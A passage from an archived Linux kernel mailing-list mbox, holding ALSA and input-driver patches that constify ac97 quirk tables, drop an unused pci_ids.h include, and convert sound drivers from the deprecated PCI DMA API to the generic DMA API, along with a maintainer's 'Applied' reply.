> -int snd_ac97_tune_hardware(struct snd_ac97 *ac97, struct ac97_quirk *quirk, const char *override);
> +int snd_ac97_tune_hardware(struct snd_ac97 *ac97,
> +			   const struct ac97_quirk *quirk,
> +			   const char *override);
>  int snd_ac97_set_rate(struct snd_ac97 *ac97, int reg, unsigned int rate);
>  
>  /*
> diff --git a/sound/pci/ac97/ac97_codec.c b/sound/pci/ac97/ac97_codec.c
> index 5bca1a3..82259ca 100644
> --- a/sound/pci/ac97/ac97_codec.c
> +++ b/sound/pci/ac97/ac97_codec.c
> @@ -2902,7 +2902,8 @@ static int apply_quirk_str(struct snd_ac97 *ac97, const char *typestr)
>   * Return: Zero if successful, or a negative error code on failure.
>   */
>  
> -int snd_ac97_tune_hardware(struct snd_ac97 *ac97, struct ac97_quirk *quirk, const char *override)
> +int snd_ac97_tune_hardware(struct snd_ac97 *ac97,
> +			   const struct ac97_quirk *quirk, const char *override)
>  {
>  	int result;
>  
> diff --git a/sound/pci/ad1889.c b/sound/pci/ad1889.c
> index 850a8c9..66ddd98 100644
> --- a/sound/pci/ad1889.c
> +++ b/sound/pci/ad1889.c
> @@ -747,7 +747,7 @@ snd_ad1889_proc_init(struct snd_ad1889 *chip)
>  		snd_info_set_text_ops(entry, chip, snd_ad1889_proc_read);
>  }
>  
> -static struct ac97_quirk ac97_quirks[] = {
> +static const struct ac97_quirk ac97_quirks[] = {
>  	{
>  		.subvendor = 0x11d4,	/* AD */
>  		.subdevice = 0x1889,	/* AD1889 */
> diff --git a/sound/pci/atiixp.c b/sound/pci/atiixp.c
> index d5f15c9..42a20c8 100644
> --- a/sound/pci/atiixp.c
> +++ b/sound/pci/atiixp.c
> @@ -1390,7 +1390,7 @@ static irqreturn_t snd_atiixp_interrupt(int irq, void *dev_id)
>   * ac97 mixer section
>   */
>  
> -static struct ac97_quirk ac97_quirks[] = {
> +static const struct ac97_quirk ac97_quirks[] = {
>  	{
>  		.subvendor = 0x103c,
>  		.subdevice = 0x006b,
> diff --git a/sound/pci/cs5535audio/cs5535audio.c b/sound/pci/cs5535audio/cs5535audio.c
> index 802c33f..963b912 100644
> --- a/sound/pci/cs5535audio/cs5535audio.c
> +++ b/sound/pci/cs5535audio/cs5535audio.c
> @@ -43,7 +43,7 @@ static char *ac97_quirk;
>  module_param(ac97_quirk, charp, 0444);
>  MODULE_PARM_DESC(ac97_quirk, "AC'97 board specific workarounds.");
>  
> -static struct ac97_quirk ac97_quirks[] = {
> +static const struct ac97_quirk ac97_quirks[] = {
>  #if 0 /* Not yet confirmed if all 5536 boards are HP only */
>  	{
>  		.subvendor = PCI_VENDOR_ID_AMD, 
> diff --git a/sound/pci/intel8x0.c b/sound/pci/intel8x0.c
> index 2c5484e..749069a 100644
> --- a/sound/pci/intel8x0.c
> +++ b/sound/pci/intel8x0.c
> @@ -1795,7 +1795,7 @@ static struct ac97_pcm ac97_pcm_defs[] = {
>  	},
>  };
>  
> -static struct ac97_quirk ac97_quirks[] = {
> +static const struct ac97_quirk ac97_quirks[] = {
>          {
>  		.subvendor = 0x0e11,
>  		.subdevice = 0x000e,
> diff --git a/sound/pci/via82xx.c b/sound/pci/via82xx.c
> index 8622283..3dd038b 100644
> --- a/sound/pci/via82xx.c
> +++ b/sound/pci/via82xx.c
> @@ -1812,7 +1812,7 @@ static void snd_via82xx_mixer_free_ac97(struct snd_ac97 *ac97)
>  	chip->ac97 = NULL;
>  }
>  
> -static struct ac97_quirk ac97_quirks[] = {
> +static const struct ac97_quirk ac97_quirks[] = {
>  	{
>  		.subvendor = 0x1106,
>  		.subdevice = 0x4161,
> 
> 

From - Thu Nov 08 21:37:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Newsgroups: gmane.linux.kernel.input,gmane.linux.kernel,gmane.linux.kernel.pci,gmane.linux.ports.parisc
Subject: Re: [PATCH v2 2/6] input/serio: drop pci_ids dependency
Date: Mon, 6 Apr 2015 09:24:02 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <20150406162402.GC36770@dtor-ws>
References: <1427712964-16155-1-git-send-email-mst@redhat.com>
 <1427712964-16155-3-git-send-email-mst@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1428337452 24487 80.91.229.3 (6 Apr 2015 16:24:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 Apr 2015 16:24:12 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, Bjorn Helgaas <bhelgaas@google.com>,
	linux-pci@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-input@vger.kernel.org
To: "Michael S. Tsirkin" <mst@redhat.com>
Original-X-From: linux-input-owner@vger.kernel.org Mon Apr 06 18:24:11 2015
Return-path: <linux-input-owner@vger.kernel.org>
Envelope-to: glki-linux-input-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-input-owner@vger.kernel.org>)
	id 1Yf9oo-0003vx-HG
	for glki-linux-input-2@plane.gmane.org; Mon, 06 Apr 2015 18:24:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752673AbbDFQYI (ORCPT <rfc822;glki-linux-input-2@m.gmane.org>);
	Mon, 6 Apr 2015 12:24:08 -0400
Original-Received: from mail-ie0-f175.google.com ([209.85.223.175]:36496 "EHLO
	mail-ie0-f175.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752862AbbDFQYH (ORCPT
	<rfc822;linux-input@vger.kernel.org>); Mon, 6 Apr 2015 12:24:07 -0400
Original-Received: by iebrs15 with SMTP id rs15so24962334ieb.3;
        Mon, 06 Apr 2015 09:24:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=kfE3eSRDCJDQBPUdsCaH/ZFpyEomVSB4HFow78zvDKM=;
        b=K2XiP+yRJ1Qj2giyCpXVYzRIjq4lWf594wdWuQEm8Z67Cp2B42ZVXzLrW60oW7TZuD
         9a5Kg3FhTmxS6NppAUuWAHmVSbgZu/DO9CH0ECjw1Pkl52Eo3JNRN2gQkmwqOTHBbO92
         5k0WK1RhoceW6U/j+YyKsLXS1zQOLUPfcBfSHw068wBKko2jth3kIFTs3CG1pt5wkquW
         1iRNgKW2OQhbXelPWKqcEoJ943/+vQzJMsGdvVllCImsyOLVlFIIugG4qkU9UI2VZEbn
         z/WDEvn2zI62EfQD9OtfP6gVtR8CpLPWCEB5AwihrFgHb6mA9tO9mi+1qvzBXb6yuDHx
         vn5A==
X-Received: by 10.107.165.68 with SMTP id o65mr23721976ioe.56.1428337446652;
        Mon, 06 Apr 2015 09:24:06 -0700 (PDT)
Original-Received: from dtor-ws ([2620:0:1000:1301:1cd5:9d7a:249d:beec])
        by mx.google.com with ESMTPSA id j2sm2960434ioi.8.2015.04.06.09.24.04
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Mon, 06 Apr 2015 09:24:05 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1427712964-16155-3-git-send-email-mst@redhat.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-input-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-input.vger.kernel.org>
X-Mailing-List: linux-input@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.input:42496 gmane.linux.kernel:1924915 gmane.linux.kernel.pci:40564 gmane.linux.ports.parisc:25695
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.input/42496>

On Mon, Mar 30, 2015 at 12:59:27PM +0200, Michael S. Tsirkin wrote:
> This driver does not use any PCI IDs, don't include
> the pci_ids.h header.
> 
> Signed-off-by: Michael S. Tsirkin <mst@redhat.com>

Applied, thank you.

> ---
>  drivers/input/serio/gscps2.c | 1 -
>  1 file changed, 1 deletion(-)
> 
> diff --git a/drivers/input/serio/gscps2.c b/drivers/input/serio/gscps2.c
> index 94ab494..ecba666 100644
> --- a/drivers/input/serio/gscps2.c
> +++ b/drivers/input/serio/gscps2.c
> @@ -31,7 +31,6 @@
>  #include <linux/spinlock.h>
>  #include <linux/delay.h>
>  #include <linux/ioport.h>
> -#include <linux/pci_ids.h>
>  
>  #include <asm/irq.h>
>  #include <asm/io.h>
> -- 
> MST
> 

-- 
Dmitry
--
To unsubscribe from this list: send the line "unsubscribe linux-input" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:37:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:37:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Quentin Lambert <lambert.quentin@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.alsa.devel,gmane.linux.kernel,gmane.linux.kernel.janitors
Subject: [PATCH] ALSA: remove deprecated use of pci api
Date: Wed, 15 Apr 2015 16:10:17 +0200
Lines: 400
Approved: news@gmane.org
Message-ID: <1429107018-8552-1-git-send-email-lambert.quentin@gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1429107053 18179 80.91.229.3 (15 Apr 2015 14:10:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 15 Apr 2015 14:10:53 +0000 (UTC)
Cc: kernel-janitors@vger.kernel.org,
	Quentin Lambert <lambert.quentin@gmail.com>
To: Thibaut Varene <T-Bone@parisc-linux.org>,
	Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.de>,
	Jaya Kumar <jayakumar.alsa@gmail.com>,
	linux-parisc@vger.kernel.org, alsa-devel@alsa-project.org,
	linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 15 16:10:44 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YiO1Y-0004sJ-QS
	for glpp-linux-parisc@plane.gmane.org; Wed, 15 Apr 2015 16:10:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754621AbbDOOKh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 15 Apr 2015 10:10:37 -0400
Original-Received: from mail-wg0-f53.google.com ([74.125.82.53]:35712 "EHLO
	mail-wg0-f53.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753554AbbDOOKe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 15 Apr 2015 10:10:34 -0400
Original-Received: by wgyo15 with SMTP id o15so48387674wgy.2;
        Wed, 15 Apr 2015 07:10:32 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id;
        bh=fb/Ub8BKsGD6GsSBz0AHY4hbhUek7/36n84oV93kBpw=;
        b=VWektLLnW8gL+4jFX7/ypqKKrvNjH+fAgfxcQfXs1VMJV6OUwFGpQ58/0i+uqjEOgl
         73oKJEsw93j7v1ye7mGzrwDdYJhP6fV/yqKzlZz+qTZfu/ZJH2ZaCJ/vni5Xbba/jMzM
         x0i+gS2tZR415d4Admav8cp8pW7HUdoIUrJ+hrGl5BHJz341sE1sMnVQqcirZ2QYMcvk
         ZBbiJHL4is+lzk8CXCCgg18uXRZLWCZOhZUK4obuaCjfgVeXW/EEntTZ2zTgC7E/zkZe
         gnOnS6zYBqHIOPuKm6rdlWiRxKADwFzbriXan0uF76qAREHvBtC+9haIsU3LwrFdhJW3
         6hyg==
X-Received: by 10.180.188.193 with SMTP id gc1mr42180945wic.7.1429107032890;
        Wed, 15 Apr 2015 07:10:32 -0700 (PDT)
Original-Received: from sloth.lip6.fr (hp-quentin.rsr.lip6.fr. [132.227.76.76])
        by mx.google.com with ESMTPSA id dm6sm7376533wib.22.2015.04.15.07.10.31
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Wed, 15 Apr 2015 07:10:31 -0700 (PDT)
X-Mailer: git-send-email 2.3.2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25698 gmane.linux.alsa.devel:136972 gmane.linux.kernel:1931616 gmane.linux.kernel.janitors:33711
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25698>

Replace occurences of the pci api by appropriate call to the dma api.

A simplified version of the semantic patch that finds this problem is as
follows: (http://coccinelle.lip6.fr)

@deprecated@
idexpression id;
position p;
@@

(
  pci_dma_supported@p ( id, ...)
|
  pci_alloc_consistent@p ( id, ...)
)

@bad1@
idexpression id;
position deprecated.p;
@@
...when != &id->dev
   when != pci_get_drvdata ( id )
   when != pci_enable_device ( id )
(
  pci_dma_supported@p ( id, ...)
|
  pci_alloc_consistent@p ( id, ...)
)

@depends on !bad1@
idexpression id;
expression direction;
position deprecated.p;
@@

(
- pci_dma_supported@p ( id,
+ dma_supported ( &id->dev,
...
+ , GFP_ATOMIC
  )
|
- pci_alloc_consistent@p ( id,
+ dma_alloc_coherent ( &id->dev,
...
+ , GFP_ATOMIC
  )
)

Signed-off-by: Quentin Lambert <lambert.quentin@gmail.com>
---
 sound/pci/ad1889.c                  |    4 ++--
 sound/pci/ali5451/ali5451.c         |    4 ++--
 sound/pci/als300.c                  |    4 ++--
 sound/pci/als4000.c                 |    4 ++--
 sound/pci/au88x0/au88x0.c           |    4 ++--
 sound/pci/aw2/aw2-alsa.c            |    4 ++--
 sound/pci/azt3328.c                 |    4 ++--
 sound/pci/ca0106/ca0106_main.c      |    4 ++--
 sound/pci/cs5535audio/cs5535audio.c |    4 ++--
 sound/pci/ctxfi/cthw20k1.c          |    4 ++--
 sound/pci/ctxfi/cthw20k2.c          |    4 ++--
 sound/pci/emu10k1/emu10k1_main.c    |    4 ++--
 sound/pci/es1938.c                  |    4 ++--
 sound/pci/es1968.c                  |    4 ++--
 sound/pci/hda/hda_intel.c           |    8 ++++----
 sound/pci/ice1712/ice1712.c         |    4 ++--
 sound/pci/lx6464es/lx6464es.c       |    2 +-
 sound/pci/maestro3.c                |    4 ++--
 sound/pci/mixart/mixart.c           |    2 +-
 sound/pci/pcxhr/pcxhr.c             |    2 +-
 sound/pci/sis7019.c                 |   10 +++++-----
 sound/pci/sonicvibes.c              |    4 ++--
 sound/pci/trident/trident_main.c    |    4 ++--
 23 files changed, 48 insertions(+), 48 deletions(-)

--- a/sound/pci/ad1889.c
+++ b/sound/pci/ad1889.c
@@ -898,8 +898,8 @@ snd_ad1889_create(struct snd_card *card,
 		return err;
 
 	/* check PCI availability (32bit DMA) */
-	if (pci_set_dma_mask(pci, DMA_BIT_MASK(32)) < 0 ||
-	    pci_set_consistent_dma_mask(pci, DMA_BIT_MASK(32)) < 0) {
+	if (dma_set_mask(&pci->dev, DMA_BIT_MASK(32)) < 0 ||
+	    dma_set_coherent_mask(&pci->dev, DMA_BIT_MASK(32)) < 0) {
 		dev_err(card->dev, "error setting 32-bit DMA mask.\n");
 		pci_disable_device(pci);
 		return -ENXIO;
--- a/sound/pci/ali5451/ali5451.c
+++ b/sound/pci/ali5451/ali5451.c
@@ -2105,8 +2105,8 @@ static int snd_ali_create(struct snd_car
 	if (err < 0)
 		return err;
 	/* check, if we can restrict PCI DMA transfers to 31 bits */
-	if (pci_set_dma_mask(pci, DMA_BIT_MASK(31)) < 0 ||
-	    pci_set_consistent_dma_mask(pci, DMA_BIT_MASK(31)) < 0) {
+	if (dma_set_mask(&pci->dev, DMA_BIT_MASK(31)) < 0 ||
+	    dma_set_coherent_mask(&pci->dev, DMA_BIT_MASK(31)) < 0) {
 		dev_err(card->dev,
 			"architecture does not support 31bit PCI busmaster DMA\n");
 		pci_disable_device(pci);
--- a/sound/pci/als300.c
+++ b/sound/pci/als300.c
@@ -658,8 +658,8 @@ static int snd_als300_create(struct snd_
 	if ((err = pci_enable_device(pci)) < 0)
 		return err;
 
-	if (pci_set_dma_mask(pci, DMA_BIT_MASK(28)) < 0 ||
-		pci_set_consistent_dma_mask(pci, DMA_BIT_MASK(28)) < 0) {
+	if (dma_set_mask(&pci->dev, DMA_BIT_MASK(28)) < 0 ||
+		dma_set_coherent_mask(&pci->dev, DMA_BIT_MASK(28)) < 0) {
 		dev_err(card->dev, "error setting 28bit DMA mask\n");
 		pci_disable_device(pci);
 		return -ENXIO;
--- a/sound/pci/als4000.c
+++ b/sound/pci/als4000.c
@@ -871,8 +871,8 @@ static int snd_card_als4000_probe(struct
 		return err;
 	}
 	/* check, if we can restrict PCI DMA transfers to 24 bits */
-	if (pci_set_dma_mask(pci, DMA_BIT_MASK(24)) < 0 ||
-	    pci_set_consistent_dma_mask(pci, DMA_BIT_MASK(24)) < 0) {
+	if (dma_set_mask(&pci->dev, DMA_BIT_MASK(24)) < 0 ||
+	    dma_set_coherent_mask(&pci->dev, DMA_BIT_MASK(24)) < 0) {
 		dev_err(&pci->dev, "architecture does not support 24bit PCI busmaster DMA\n");
 		pci_disable_device(pci);
 		return -ENXIO;
--- a/sound/pci/au88x0/au88x0.c
+++ b/sound/pci/au88x0/au88x0.c
@@ -150,8 +150,8 @@ snd_vortex_create(struct snd_card *card,
 	// check PCI availability (DMA).
 	if ((err = pci_enable_device(pci)) < 0)
 		return err;
-	if (pci_set_dma_mask(pci, DMA_BIT_MASK(32)) < 0 ||
-	    pci_set_consistent_dma_mask(pci, DMA_BIT_MASK(32)) < 0) {
+	if (dma_set_mask(&pci->dev, DMA_BIT_MASK(32)) < 0 ||
+	    dma_set_coherent_mask(&pci->dev, DMA_BIT_MASK(32)) < 0) {
 		dev_err(card->dev, "error to set DMA mask\n");
 		pci_disable_device(pci);
 		return -ENXIO;
--- a/sound/pci/aw2/aw2-alsa.c
+++ b/sound/pci/aw2/aw2-alsa.c
@@ -258,8 +258,8 @@ static int snd_aw2_create(struct snd_car
 	pci_set_master(pci);
 
 	/* check PCI availability (32bit DMA) */
-	if ((pci_set_dma_mask(pci, DMA_BIT_MASK(32)) < 0) ||
-	    (pci_set_consistent_dma_mask(pci, DMA_BIT_MASK(32)) < 0)) {
+	if ((dma_set_mask(&pci->dev, DMA_BIT_MASK(32)) < 0) ||
+	    (dma_set_coherent_mask(&pci->dev, DMA_BIT_MASK(32)) < 0)) {
 		dev_err(card->dev, "Impossible to set 32bit mask DMA\n");
 		pci_disable_device(pci);
 		return -ENXIO;
--- a/sound/pci/azt3328.c
+++ b/sound/pci/azt3328.c
@@ -2420,8 +2420,8 @@ snd_azf3328_create(struct snd_card *card
 	chip->irq = -1;
 
 	/* check if we can restrict PCI DMA transfers to 24 bits */
-	if (pci_set_dma_mask(pci, DMA_BIT_MASK(24)) < 0 ||
-	    pci_set_consistent_dma_mask(pci, DMA_BIT_MASK(24)) < 0) {
+	if (dma_set_mask(&pci->dev, DMA_BIT_MASK(24)) < 0 ||
+	    dma_set_coherent_mask(&pci->dev, DMA_BIT_MASK(24)) < 0) {
 		dev_err(card->dev,
 			"architecture does not support 24bit PCI busmaster DMA\n"
 		);
--- a/sound/pci/ca0106/ca0106_main.c
+++ b/sound/pci/ca0106/ca0106_main.c
@@ -1676,8 +1676,8 @@ static int snd_ca0106_create(int dev, st
 	err = pci_enable_device(pci);
 	if (err < 0)
 		return err;
-	if (pci_set_dma_mask(pci, DMA_BIT_MASK(32)) < 0 ||
-	    pci_set_consistent_dma_mask(pci, DMA_BIT_MASK(32)) < 0) {
+	if (dma_set_mask(&pci->dev, DMA_BIT_MASK(32)) < 0 ||
+	    dma_set_coherent_mask(&pci->dev, DMA_BIT_MASK(32)) < 0) {
 		dev_err(card->dev, "error to set 32bit mask DMA\n");
 		pci_disable_device(pci);
 		return -ENXIO;
--- a/sound/pci/cs5535audio/cs5535audio.c
+++ b/sound/pci/cs5535audio/cs5535audio.c
@@ -289,8 +289,8 @@ static int snd_cs5535audio_create(struct
 	if ((err = pci_enable_device(pci)) < 0)
 		return err;
 
-	if (pci_set_dma_mask(pci, DMA_BIT_MASK(32)) < 0 ||
-	    pci_set_consistent_dma_mask(pci, DMA_BIT_MASK(32)) < 0) {
+	if (dma_set_mask(&pci->dev, DMA_BIT_MASK(32)) < 0 ||
+	    dma_set_coherent_mask(&pci->dev, DMA_BIT_MASK(32)) < 0) {
 		dev_warn(card->dev, "unable to get 32bit dma\n");
 		err = -ENXIO;
 		goto pcifail;
--- a/sound/pci/ctxfi/cthw20k1.c
+++ b/sound/pci/ctxfi/cthw20k1.c
@@ -1910,8 +1910,8 @@ static int hw_card_start(struct hw *hw)
 		return err;
 
 	/* Set DMA transfer mask */
-	if (pci_set_dma_mask(pci, CT_XFI_DMA_MASK) < 0 ||
-	    pci_set_consistent_dma_mask(pci, CT_XFI_DMA_MASK) < 0) {
+	if (dma_set_mask(&pci->dev, CT_XFI_DMA_MASK) < 0 ||
+	    dma_set_coherent_mask(&pci->dev, CT_XFI_DMA_MASK) < 0) {
 		dev_err(hw->card->dev,
 			"architecture does not support PCI busmaster DMA with mask 0x%llx\n",
 			CT_XFI_DMA_MASK);
--- a/sound/pci/ctxfi/cthw20k2.c
+++ b/sound/pci/ctxfi/cthw20k2.c
@@ -2035,8 +2035,8 @@ static int hw_card_start(struct hw *hw)
 		return err;
 
 	/* Set DMA transfer mask */
-	if (pci_set_dma_mask(pci, CT_XFI_DMA_MASK) < 0 ||
-	    pci_set_consistent_dma_mask(pci, CT_XFI_DMA_MASK) < 0) {
+	if (dma_set_mask(&pci->dev, CT_XFI_DMA_MASK) < 0 ||
+	    dma_set_coherent_mask(&pci->dev, CT_XFI_DMA_MASK) < 0) {
 		dev_err(hw->card->dev,
 			"architecture does not support PCI busmaster DMA with mask 0x%llx\n",
 			CT_XFI_DMA_MASK);
--- a/sound/pci/emu10k1/emu10k1_main.c
+++ b/sound/pci/emu10k1/emu10k1_main.c
@@ -1904,8 +1904,8 @@ int snd_emu10k1_create(struct snd_card *
 
 	/* set the DMA transfer mask */
 	emu->dma_mask = is_audigy ? AUDIGY_DMA_MASK : EMU10K1_DMA_MASK;
-	if (pci_set_dma_mask(pci, emu->dma_mask) < 0 ||
-	    pci_set_consistent_dma_mask(pci, emu->dma_mask) < 0) {
+	if (dma_set_mask(&pci->dev, emu->dma_mask) < 0 ||
+	    dma_set_coherent_mask(&pci->dev, emu->dma_mask) < 0) {
 		dev_err(card->dev,
 			"architecture does not support PCI busmaster DMA with mask 0x%lx\n",
 			emu->dma_mask);
--- a/sound/pci/es1938.c
+++ b/sound/pci/es1938.c
@@ -1580,8 +1580,8 @@ static int snd_es1938_create(struct snd_
 	if ((err = pci_enable_device(pci)) < 0)
 		return err;
         /* check, if we can restrict PCI DMA transfers to 24 bits */
-	if (pci_set_dma_mask(pci, DMA_BIT_MASK(24)) < 0 ||
-	    pci_set_consistent_dma_mask(pci, DMA_BIT_MASK(24)) < 0) {
+	if (dma_set_mask(&pci->dev, DMA_BIT_MASK(24)) < 0 ||
+	    dma_set_coherent_mask(&pci->dev, DMA_BIT_MASK(24)) < 0) {
 		dev_err(card->dev,
 			"architecture does not support 24bit PCI busmaster DMA\n");
 		pci_disable_device(pci);
--- a/sound/pci/es1968.c
+++ b/sound/pci/es1968.c
@@ -2689,8 +2689,8 @@ static int snd_es1968_create(struct snd_
 	if ((err = pci_enable_device(pci)) < 0)
 		return err;
 	/* check, if we can restrict PCI DMA transfers to 28 bits */
-	if (pci_set_dma_mask(pci, DMA_BIT_MASK(28)) < 0 ||
-	    pci_set_consistent_dma_mask(pci, DMA_BIT_MASK(28)) < 0) {
+	if (dma_set_mask(&pci->dev, DMA_BIT_MASK(28)) < 0 ||
+	    dma_set_coherent_mask(&pci->dev, DMA_BIT_MASK(28)) < 0) {
 		dev_err(card->dev,
 			"architecture does not support 28bit PCI busmaster DMA\n");
 		pci_disable_device(pci);
--- a/sound/pci/hda/hda_intel.c
+++ b/sound/pci/hda/hda_intel.c
@@ -1528,11 +1528,11 @@ static int azx_first_init(struct azx *ch
 	/* allow 64bit DMA address if supported by H/W */
 	if (!(gcap & AZX_GCAP_64OK))
 		dma_bits = 32;
-	if (!pci_set_dma_mask(pci, DMA_BIT_MASK(dma_bits))) {
-		pci_set_consistent_dma_mask(pci, DMA_BIT_MASK(dma_bits));
+	if (!dma_set_mask(&pci->dev, DMA_BIT_MASK(dma_bits))) {
+		dma_set_coherent_mask(&pci->dev, DMA_BIT_MASK(dma_bits));
 	} else {
-		pci_set_dma_mask(pci, DMA_BIT_MASK(32));
-		pci_set_consistent_dma_mask(pci, DMA_BIT_MASK(32));
+		dma_set_mask(&pci->dev, DMA_BIT_MASK(32));
+		dma_set_coherent_mask(&pci->dev, DMA_BIT_MASK(32));
 	}
 
 	/* read number of streams from GCAP register instead of using
--- a/sound/pci/ice1712/ice1712.c
+++ b/sound/pci/ice1712/ice1712.c
@@ -2530,8 +2530,8 @@ static int snd_ice1712_create(struct snd
 	if (err < 0)
 		return err;
 	/* check, if we can restrict PCI DMA transfers to 28 bits */
-	if (pci_set_dma_mask(pci, DMA_BIT_MASK(28)) < 0 ||
-	    pci_set_consistent_dma_mask(pci, DMA_BIT_MASK(28)) < 0) {
+	if (dma_set_mask(&pci->dev, DMA_BIT_MASK(28)) < 0 ||
+	    dma_set_coherent_mask(&pci->dev, DMA_BIT_MASK(28)) < 0) {
 		dev_err(card->dev,
 			"architecture does not support 28bit PCI busmaster DMA\n");
 		pci_disable_device(pci);
--- a/sound/pci/lx6464es/lx6464es.c
+++ b/sound/pci/lx6464es/lx6464es.c
@@ -981,7 +981,7 @@ static int snd_lx6464es_create(struct sn
 	pci_set_master(pci);
 
 	/* check if we can restrict PCI DMA transfers to 32 bits */
-	err = pci_set_dma_mask(pci, DMA_BIT_MASK(32));
+	err = dma_set_mask(&pci->dev, DMA_BIT_MASK(32));
 	if (err < 0) {
 		dev_err(card->dev,
 			"architecture does not support 32bit PCI busmaster DMA\n");
--- a/sound/pci/maestro3.c
+++ b/sound/pci/maestro3.c
@@ -2537,8 +2537,8 @@ snd_m3_create(struct snd_card *card, str
 		return -EIO;
 
 	/* check, if we can restrict PCI DMA transfers to 28 bits */
-	if (pci_set_dma_mask(pci, DMA_BIT_MASK(28)) < 0 ||
-	    pci_set_consistent_dma_mask(pci, DMA_BIT_MASK(28)) < 0) {
+	if (dma_set_mask(&pci->dev, DMA_BIT_MASK(28)) < 0 ||
+	    dma_set_coherent_mask(&pci->dev, DMA_BIT_MASK(28)) < 0) {
 		dev_err(card->dev,
 			"architecture does not support 28bit PCI busmaster DMA\n");
 		pci_disable_device(pci);
--- a/sound/pci/mixart/mixart.c
+++ b/sound/pci/mixart/mixart.c
@@ -1269,7 +1269,7 @@ static int snd_mixart_probe(struct pci_d
 	pci_set_master(pci);
 
 	/* check if we can restrict PCI DMA transfers to 32 bits */
-	if (pci_set_dma_mask(pci, DMA_BIT_MASK(32)) < 0) {
+	if (dma_set_mask(&pci->dev, DMA_BIT_MASK(32)) < 0) {
 		dev_err(&pci->dev,
 			"architecture does not support 32bit PCI busmaster DMA\n");
 		pci_disable_device(pci);
--- a/sound/pci/pcxhr/pcxhr.c
+++ b/sound/pci/pcxhr/pcxhr.c
@@ -1537,7 +1537,7 @@ static int pcxhr_probe(struct pci_dev *p
 	pci_set_master(pci);
 
 	/* check if we can restrict PCI DMA transfers to 32 bits */
-	if (pci_set_dma_mask(pci, DMA_BIT_MASK(32)) < 0) {
+	if (dma_set_mask(&pci->dev, DMA_BIT_MASK(32)) < 0) {
 		dev_err(&pci->dev,
 			"architecture does not support 32bit PCI busmaster DMA\n");
 		pci_disable_device(pci);
--- a/sound/pci/sis7019.c
+++ b/sound/pci/sis7019.c
@@ -383,9 +383,9 @@ static void __sis_map_silence(struct sis
 {
 	/* Helper function: must hold sis->voice_lock on entry */
 	if (!sis->silence_users)
-		sis->silence_dma_addr = pci_map_single(sis->pci,
+		sis->silence_dma_addr = dma_map_single(&sis->pci->dev,
 						sis->suspend_state[0],
-						4096, PCI_DMA_TODEVICE);
+						4096, DMA_TO_DEVICE);
 	sis->silence_users++;
 }
 
@@ -394,8 +394,8 @@ static void __sis_unmap_silence(struct s
 	/* Helper function: must hold sis->voice_lock on entry */
 	sis->silence_users--;
 	if (!sis->silence_users)
-		pci_unmap_single(sis->pci, sis->silence_dma_addr, 4096,
-					PCI_DMA_TODEVICE);
+		dma_unmap_single(&sis->pci->dev, sis->silence_dma_addr, 4096,
+					DMA_TO_DEVICE);
 }
 
 static void sis_free_voice(struct sis7019 *sis, struct voice *voice)
@@ -1325,7 +1325,7 @@ static int sis_chip_create(struct snd_ca
 	if (rc)
 		goto error_out;
 
-	rc = pci_set_dma_mask(pci, DMA_BIT_MASK(30));
